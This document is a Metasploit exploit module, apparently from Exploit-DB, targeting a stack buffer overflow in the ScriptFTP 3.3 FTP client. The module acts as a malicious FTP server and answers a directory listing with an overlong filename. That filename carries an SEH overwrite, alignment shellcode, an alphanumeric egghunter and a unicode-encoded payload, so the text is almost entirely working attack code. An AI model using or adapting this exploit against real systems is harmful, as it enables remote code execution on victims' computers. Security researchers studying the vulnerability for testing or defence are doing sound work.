#Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF)#Date: Sept 20 2011#Author: otoy#Version: 3.3#Tested on: Windows XP SP3#CVE : -#EDB-ID: 17876#Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3rclass Metasploit3 < Msf::Exploit::Remote	Rank = GoodRanking	include Exploit::Remote::FtpServer	def initialize(info = {})		super(update_info(info,			'Name'           => 'ScriptFTP 3.3 Remote Buffer Overflow',			'Description'    => %q{					This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is				triggered when the client connects to a FTP server which sends an overly long directory				and filename in response to a GETLIST command.				This will cause an access violation, and will eventually overwrite the saved extended				instruction pointer.  			},			'Author' 	 =>				[					'modpr0be', 	# Original bug					'Cyberheb',	# porting from poc to msf					'Otoy', 	# final msf module				],			'License'        => MSF_LICENSE,			'Version'        => "0",			'References'     =>				[					[ 'OSVDB', '75633'],					[ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ],				],			'DefaultOptions' =>				{					'EXITFUNC' => 'thread',				},			'Payload'        =>				{                                        'Space'    => 1000,                                        'DisableNops' => true,					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,					'BadChars'  =>  "/x00/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0d/x2F/x5c/x3c/x3e/x5e/x7e",                    			'EncoderOptions' =>                        			{                            				'BufferRegister' => 'EDX',                        			}				},			'Platform'       => 'win',			'Targets'        =>				[					[ 'Windows XP Universal', { 'Ret' => "/x45/x5B", 'Offset' => 1746 } ],				],			'Privileged'     => false,			'DisclosureDate' => 'Sept 20 2011',			'DefaultTarget'  => 0))	end	def setup		super	end	def on_client_unknown_command(c,cmd,arg)		c.put("200 OK/r/n")	end	#Unicode Encoder    	def get_unicode_payload(p)        	encoder = framework.encoders.create("x86/unicode_upper")        	encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )        	unicode_payload = encoder.encode(p, nil, nil, platform)        	return unicode_payload    	end	def on_client_command_list(c,arg)		conn = establish_data_connection(c)		if(not conn)			c.put("425 Can't build data connection/r/n")			return		end		print_status(" - Data connection set up")		code = 150		c.put("#{code} Here comes the directory listing./r/n")		code = 226		c.put("#{code} Directory send ok./r/n")		sampahawal = "A" * 1746		nseh = "/x61/x62"		seh = target['Ret']		sampahbawah = 1250                #prepare for align            	align = "/x60"                      #pushad            	align << "/x73"                     #nop/align            	align << "/x53"                     #push ebx            	align << "/x73"                     #nop/align            	align << "/x58"                     #pop eax            	align << "/x73"                     #nop/align            	align << "/x05/x02/x11"             #add eax,0x11000200            	align << "/x73"                     #nop/align            	align << "/x2d/x01/x11"             #sub eax,0x11000120            	align << "/x73"                     #nop/align		#align after egg            	align2 = "/x73/x57/x73/x58/x73"             #nop/push edi/nop/pop eax/nop            	align2 << "/xb9/x1b/xaa"                    #mov ecx,0xaa001b00            	align2 << "/xe8/x73"                        #add al,ch + nop            	align2 << "/x50/x73/xc3"                    #push eax,nop,ret            	#walking            	walk = "/x50"                               #push eax            	walk << "/x73"                              #nop/align 	        walk << "/xc3"                              #ret		#egghunter            	egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"                egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"                egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"                egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"                egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"                egghunter << "SEYWKOYWA"		#junk		sampah1 = "/x44" * 106 + "/x73"		sampah2 = "/x42" * 544		#egg		telur = "0t0t"				#payload		stubget = "/x89/xe1/xdb/xcc/xd9/x71/xf4/x5a/x83/xc2/x41/x83/xea/x35"		palpha = stubget + payload.encoded		puni = get_unicode_payload(palpha)				#filename		filename = sampahawal		filename << nseh		filename << seh		filename << align		filename << walk		filename << sampah1		filename << egghunter		filename << sampah2		filename << telur		filename << align2		filename << puni		filename << sampah1		print_status(" - Sending directory list via data connection")                dirlist = "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt/r/n"                dirlist << "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}/r/n"                dirlist << "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt/r/n"		conn.put(dirlist)		conn.close		return	endend